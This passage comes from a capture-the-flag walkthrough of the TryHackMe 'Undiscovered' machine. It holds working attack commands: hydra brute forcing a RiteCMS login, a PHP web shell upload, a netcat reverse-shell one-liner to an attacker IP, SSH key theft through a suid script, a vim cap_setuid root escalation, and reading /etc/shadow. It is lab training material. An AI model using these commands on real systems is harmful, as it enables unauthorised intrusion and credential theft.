 100021  1,3,4      44466/tcp   nlockmgr<br>|   100021  1,3,4      49726/udp6  nlockmgr<br>|   100021  1,3,4      52332/udp   nlockmgr<br>|   100227  2,3         2049/tcp   nfs_acl<br>|   100227  2,3         2049/tcp6  nfs_acl<br>|   100227  2,3         2049/udp   nfs_acl<br>|_  100227  2,3         2049/udp6  nfs_acl<br><br>2049/tcp  open  nfs      2-4 (RPC #100003)<br><br>44466/tcp open  nlockmgr 1-4 (RPC #100021)</pre><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Visit port 80 at <a href="http://undiscovered.thm/">http://undiscovered.thm/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GtSocqVPoXfd0g5gp7k3Fg.png" /></figure><p>We scan for directories using Gobuster</p><pre>gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://undiscovered.thm/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fk3v9slyXlAP2ugGDnUruQ.png" /></figure><p>No outputs, /images/ directory only has the diamond background image</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Next, scan for subdomains using gobuster</p><pre>gobuster vhost -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u undiscovered.thm --append-domain --exclude-status 302</pre><p>Using gobuster vhost which tells gobuster to bruteforce host headers<br>-w is wordlist<br>-u is host <br> — append-domain =&gt; This tells Gobuster, instead of just sending <br>Host: admin to send request to admin.undiscovered.thm<br> — exclude-status 302 =&gt; removes the status 302 pages</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tv_qpo31cHEYiA6ED1EYlw.png" /></figure><p>Let’s add deliver.undiscovered.thm to our /etc/hosts</p><pre>sudo nano /etc/hosts<br><br>[machine ip address]    undiscovered.thm deliver.undiscovered.thm</pre><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>A RiteCMS page is hosted on it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*0gud2wQNb0zXeonUz8_Gcw.png" /></figure><p><a href="http://ritecms.com/">RiteCMS</a> Version: 2.2.1</p><p>RiteCMS 2.2.1 is vulnerable to authenticated remote code execution. An attacker can exploit this vulnerability by sending a maliciously crafted POST request to the vulnerable application. This will allow the attacker to execute arbitrary code on the server.</p><p>Link: <a href="https://github.com/enesozeser/Vulnerabilities/blob/master/CVE-2020-23934">https://github.com/enesozeser/Vulnerabilities/blob/master/CVE-2020-23934</a></p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Using dirsearch to find directories in RiteCMS</p><pre>python dirsearch.py -u http://deliver.undiscovered.thm/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WpbuWLi6Lxdl17ex7UrpDw.png" /></figure><p>Found a login page at /cms/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*v3iz2a44RK-n3-2A26TQJg.png" /></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Bruteforcing using hydra</p><pre>hydra -l admin -P /usr/share/wordlists/seclists/rockyou.txt deliver.undiscovered.thm http-post-form &quot;/cms/index.php:username=^USER^&amp;userpw=^PASS^:User unknown or password wrong&quot; -f</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xMmNx-m7VroGD6jpvNzbPg.png" /></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — <br>Log into admin panel<br>Go to Administration &gt; File Manager, can upload files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ghfdZDxtvti7zlLt8iM3Eg.png" /></figure><p>Make a simple php exploit</p><pre>echo &#39;&lt;?php system($_GET[&#39;cmd&#39;]); ?&gt;&#39; &gt; exploit.php</pre><p>Upload exploit.php to panel</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*nH7b2BU8dlFlUpHgVoTzaQ.png" /></figure><p>When I go to exploit.php, I can type commands through the web url</p><p><a href="http://deliver.undiscovered.thm/media/exploit.php?cmd=id">http://deliver.undiscovered.thm/media/exploit.php?cmd=id</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hxidJR4xsO1AFdJCC-TAIg.png" /></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Next goal is to get a shell, open a listener on msfconsole multi/handler</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BgWhLR4WuLxd6H-jaFmyGg.png" /></figure><p>I used a url exploit using nc</p><p><a href="http://deliver.undiscovered.thm/media/exploit.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff|sh%20-i%202%3E%261|nc%20192.168.133.157%204444%20%3E%2Ftmp%2Ff">http://deliver.undiscovered.thm/media/exploit.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff|sh%20-i%202%3E%261|nc%20[IP_ADDRESS]%20[PORT]%20%3E%2Ftmp%2Ff</a></p><p>Got a reverse shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y6ROS5qEYUNBnEkc60OvfQ.png" /></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>During nmap scan we found RPC on port 111 and a Network file system running on port 2049</p><pre>|   100003  2,3,4       2049/tcp   nfs<br>|   100003  2,3,4       2049/tcp6  nfs<br>|   100003  2,3,4       2049/udp   nfs<br>|   100003  2,3,4       2049/udp6  nfs</pre><p>I went to /tmp and created a new dir called /mnt</p><pre>sudo mount -t nfs4 [machine-ip]:/ /path/to/mountpoint</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*GGO7WFC6k7mgSoy2THROFg.png" /></figure><p>I enumerate the mounted file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*E6WxVq52IFf5mlA3AYLt1w.png" /></figure><p>I add a user to my machine called william and get user.txt</p><pre>sudo useradd -u 3003 william<br><br>sudo passwd william</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*99x6yLcLhmxNu7gXc_RG9g.png" /></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Make an ssh key for william user</p><pre>ssh-keygen -f william</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*FRJEGf1Al7BOd6rNQbvzAA.png" /></figure><p>I made a .ssh directory and stored pub key in authorized keys</p><p>Gave permissions to william’s private key and ssh’d into the machine as william</p><pre>mkdir .ssh<br><br>cat william.pub &gt; .ssh/authorized_keys<br><br>chmod 600 william<br><br>ssh -i william william@machine-ip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*7FHwAt24LJ2N63ir3XJaNA.png" /></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>There is a script from leonard in william’s home with execute permissions.<br>The script has suid permissions of user leonard, i.e. it will run as leonard when we execute it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*THZsL5U40InH_AeQfwPqKw.png" /></figure><p>Play around with the script, that it checks for files in leonard’s home directory.<br>With that in mind, I passed in .ssh/id_rsa to see if it spits out private key, and it does.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*mP5ItUeCjqY92cHNx7PioA.png" /></figure><p>Get leonard’s id and ssh into leonard</p><pre>./script .ssh/id_rsa &gt; leonard_id<br><br>chmod 600 leonard_id<br><br>ssh -i leonard_id leonard@machine-ip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*mrrYCS3xgnntWeuj0Sg2tQ.png" /></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Enumerating Leonard:</p><pre>getcap -r / 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*y3DapGSpOVhRVjDR-_pqsA.png" /></figure><p>/usr/bin/vim.basic = cap_setuid+ep <br>is very suspicious<br>on GTFObins</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tIGUeCK4VVUOeBLK8FvJTQ.png" /></figure><p>I execute the same command with py3</p><pre>/usr/bin/vim.basic -c &#39;:py3 import os; os.setuid(0); os.execl(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-c&quot;, &quot;reset; exec sh&quot;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lgKr0GRwGponLLODi2Y-dQ.png" /></figure><p>Got the root shell</p><pre>cat /etc/shadow</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LkxCWLP_-jDO5NCqFX90rA.png" /></figure><p>Got root’s password hash.<br>Machine completed.</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Let’s be mutuals<br>TryHackMe: <a href="https://tryhackme.com/p/bhairoba">https://tryhackme.com/p/bhairoba</a><br>X: <a href="https://x.com/AaryanKhairnar">https://x.com/AaryanKhairnar</a><br>Linkedin: <a href="https://www.linkedin.com/in/aaryankhairnar/">https://www.linkedin.com/in/aaryankhairnar/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e2c5dc13816e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>